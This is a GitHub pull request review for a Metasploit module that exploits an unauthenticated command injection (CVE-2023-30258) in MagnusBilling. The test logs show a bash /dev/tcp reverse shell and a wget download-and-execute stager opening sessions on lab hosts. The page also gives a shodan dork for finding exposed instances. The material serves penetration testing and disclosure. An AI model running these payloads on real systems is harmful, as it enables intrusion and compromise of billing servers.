-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
MagnusBilling unauthenticated RCE [CVE-2023-30258] #18481
MagnusBilling unauthenticated RCE [CVE-2023-30258] #18481
Conversation
], | ||
'DisclosureDate' => '2023-06-26', | ||
'Platform' => ['php', 'unix', 'linux'], | ||
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86], | |
'Arch' => [ARCH_PHP, ARCH_CMD], |
since this is PHP, it should be pretty much arch-independent, no?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yes, you are right, however a PHP Meterpreter payload is limited in functionality compared to a Meterpreter payload with Linux Dropper based on X64 or X86 architecture. For that reason I would like to keep it in.
Hope this makes sense.
}) | ||
# Check if target is a magnusbilling application | ||
return CheckCode::Unknown('No response received from target.') unless res | ||
return CheckCode::Safe('Likely not a magnusbilling application.') unless res.code == 200 && res.body =~ /MagnusBilling/i |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please make the check a bit less generic, otherwise it'll match on every page containing the string MagnusBilling
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Will have a look to add more specific banner information, but MagnusBilling
is already pretty specific.
Just run shodan
with dork http.html:"magnusbilling"
and you will find all the instances running this application and hardly any/no false positives.
documentation/modules/exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258.md
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/magnusbilling_unauth_rce_cve_2023_30258.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/magnusbilling_unauth_rce_cve_2023_30258.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/magnusbilling_unauth_rce_cve_2023_30258.rb
Outdated
Show resolved
Hide resolved
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks @h00die-gr3y for this module. I left a few comments for you to review when you get a chance. Also, I tested against MagnusBilling v7 and confirm it is not vulnerable by default. The vulnerable code has to be added for the module to work, which I believe is not what would happen in a real situation. I also tested version 6 and confirm it is vulnerable. However, I was not able to make the PHP target (target 0) work:
- target 0 (PHP)
msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit verbose=true rhosts=192.168.100.135 lhost=192.168.100.1
[*] Started reverse TCP handler on 192.168.100.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.135:80 can be exploited.
[*] Performing command injection test issuing a sleep command of 6 seconds.
[*] Elapsed time: 6.06 seconds.
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing PHP for php/meterpreter/reverse_tcp
[!] This exploit may require manual cleanup of 'pEStRoAQ.php' on the target
[*] Exploit completed, but no session was created.
Whereas other targets work:
- target 1 (Unix Command)
msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit verbose=true rhosts=192.168.100.135 lhost=192.168.100.1
[+] bash -c '0<&22-;exec 22<>/dev/tcp/192.168.100.1/4444;sh <&22 >&22 2>&22'
[*] Started reverse TCP handler on 192.168.100.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.135:80 can be exploited.
[*] Performing command injection test issuing a sleep command of 5 seconds.
[*] Elapsed time: 5.06 seconds.
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing Unix Command for cmd/unix/reverse_bash
[*] Command shell session 1 opened (192.168.100.1:4444 -> 192.168.100.135:53072) at 2023-10-27 18:06:06 +0200
id
uid=1001(asterisk) gid=1001(asterisk) groups=1001(asterisk)
uname -a
Linux localhost.localdomain 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
- target 2 (Linux Dropper)
msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit verbose=true rhosts=192.168.100.135 lhost=192.168.100.1
[*] Started reverse TCP handler on 192.168.100.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.135:80 can be exploited.
[*] Performing command injection test issuing a sleep command of 4 seconds.
[*] Elapsed time: 4.07 seconds.
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Using URL: http://192.168.100.1:8080/XrHaLJNAW0lN
[*] Generated command stager: ["wget -qO /tmp/uZvBvSUt http://192.168.100.1:8080/XrHaLJNAW0lN;chmod +x /tmp/uZvBvSUt;/tmp/uZvBvSUt;rm -f /tmp/uZvBvSUt"]
[*] Client 192.168.100.135 (Wget/1.14 (linux-gnu)) requested /XrHaLJNAW0lN
[*] Sending payload to 192.168.100.135 (Wget/1.14 (linux-gnu))
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.100.135
[*] Meterpreter session 2 opened (192.168.100.1:4444 -> 192.168.100.135:53100) at 2023-10-27 18:07:17 +0200
[*] Command Stager progress - 100.00% done (118/118 bytes)
[*] Server stopped.
meterpreter > getuid
Server username: asterisk
meterpreter > sysinfo
Computer : localhost.localdomain
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.102.1.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
modules/exploits/linux/http/magnusbilling_unauth_rce_cve_2023_30258.rb
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258.md
Show resolved
Hide resolved
modules/exploits/linux/http/magnusbilling_unauth_rce_cve_2023_30258.rb
Outdated
Show resolved
Hide resolved
Interesting to know that PHP target in v6 does not work. Let me also check with MagnusBilling v6 to understand what is going on. @cdelafuente-r7 Fixed the issue. In version 6, directory |
Thanks @h00die-gr3y ! Everything looks good to me now. I tested against both versions (6 and 7 without the patch) and verified I had a session with each target. I'll go ahead and land it. Thank you for your contribution! Example outputMagnuBilling v6target 0 (PHP)
target 1 (Unix Command)
target 2 (Linux Dropper)
MagnuBilling v7target 0 (PHP)
target 1 (Unix Command)
target 2 (Linux Dropper)
|
Release NotesThis adds an exploit module that leverages a command injection vulnerability in MagnusBilling versions 6 and 7. this vulnerability is identified as CVE-2023-30258 and allows unauthenticated remote code execution in the context of the user running the web server process. |
MagnusBilling
is an open source tool written inPHP
andJAVASCRIPT
, using theEXTJS 6
andYII FRAMEWORK
frameworks, aimed at IP telephony providers. It provides a complete and powerful system for anyone to start an IP telephony provider.Unfortunately a command injection vulnerability exists in
MagnusBilling
versions 6 and 7. The vulnerability allows an unauthenticated user to execute arbitrary OS commands on the host, with the privileges of the web server. This is caused by a piece of demonstration code which is present inlib/icepay/icepay.php
, with a call toexec()
at line 753. The parameter toexec()
includes theGET
parameterdemoc
, which is controlled by the user.An unauthenticated user is able to execute arbitrary OS commands. The commands run with the privileges of the web server process, typically
www-data
orasterisk
. At a minimum, this allows an attacker to compromise the billing system and its database.See this attackerkb article for more information.
This module has been tested on:
Installation steps
su -
if needed.MagnusBilling 6
PS: If you have installed MagnusBilling 7, please update the
mbilling/lib/icepay/icepay.php
file at the web server root (typically/var/www/html
) by adding the vulnerable code below.Verification
msfconsole
use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
set rhosts <ip-target>
set rport <port>
set lhost <ip-attacker>
set target <0=PHP, 1=Unix Command, 2=Linux Dropper>
exploit
you should get a
shell
orMeterpreter
session.Scenarios
MagnusBilling 7 on Debian 12.2 - PHP with payload php/meterpreter/reverse_tcp
MagnusBilling 7 on Debian 12.2 - Unix Command with payload cmd/unix/reverse_bash
MagnusBilling 7 on Debian 12.2 - Linux Dropper with payload linux/x64/meterpreter/reverse_tcp
Limitations
No limitations identified.